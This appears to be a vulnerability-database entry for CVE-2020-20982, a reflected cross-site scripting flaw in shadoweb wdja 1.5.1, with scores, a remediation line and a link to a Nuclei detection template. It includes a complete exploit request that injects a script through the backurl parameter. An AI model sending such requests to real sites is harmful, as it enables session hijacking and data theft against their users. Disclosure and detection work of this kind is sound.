| Title | shadoweb wdja v1.5.1 - Cross-Site Scripting |
|---|---|
| Author | pikpikcu,ritikchaddha |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Upgrade to the latest version to mitigate this vulnerability. |
| CVSS Score | 9.6 |
| EPSS Score | 0.31953 |
| CVE ID | CVE-2020-20982 |
| CWE ID | CWE-79 |
| Tags | cve2020 cve xss wdja shadoweb vuln |
shadoweb wdja v1.5.1 is susceptible to cross-site scripting because it allows attackers to execute arbitrary code and gain escalated privileges via the backurl parameter to /php/passport/index.php.
GET /passport/index.php?action=manage&mtype=userset&backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-20982.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-20982.pcap
N/AN/A